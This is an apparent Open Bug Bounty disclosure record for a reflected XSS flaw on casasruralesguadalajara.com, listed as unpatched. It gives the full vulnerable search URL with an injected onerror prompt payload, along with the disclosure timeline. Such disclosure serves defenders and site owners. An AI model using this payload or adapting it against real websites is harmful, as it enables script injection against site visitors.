Lucene search

K
openbugbountyRandom_RobbieOBB:231560
HistoryMay 04, 2017 - 3:07 p.m.

casasruralesguadalajara.com XSS vulnerability

2017-05-0415:07:00
Random_Robbie
www.openbugbounty.org
4
Vulnerable URL:
http://www.casasruralesguadalajara.com/buscar.php?o=&especial;=&favoritos;=&buscar;=![](x+onerror=prompt\(/XSSPOSED/\);)&buscar-id;="'--!>&buscar-tipo;=&capacidad;=&situacion;=&zona;=&x;=39&y;=20
Details:
Description Value
Patched: No
Latest check for patch: 28.07.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank Unknown / Not calculated
VIP website status: No
Check casasruralesguadalajara.com SSL connection: (Grade: B)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 4 May, 2017 15:07 GMT
Generic security notifications sent to website owner 4 May, 2017 15:09 GMT
Notification sent to subscribers (without technical details) 4 May, 2017 18:17 GMT
Vulnerability details disclosed by researcher 15 June, 2017 15:15 GMT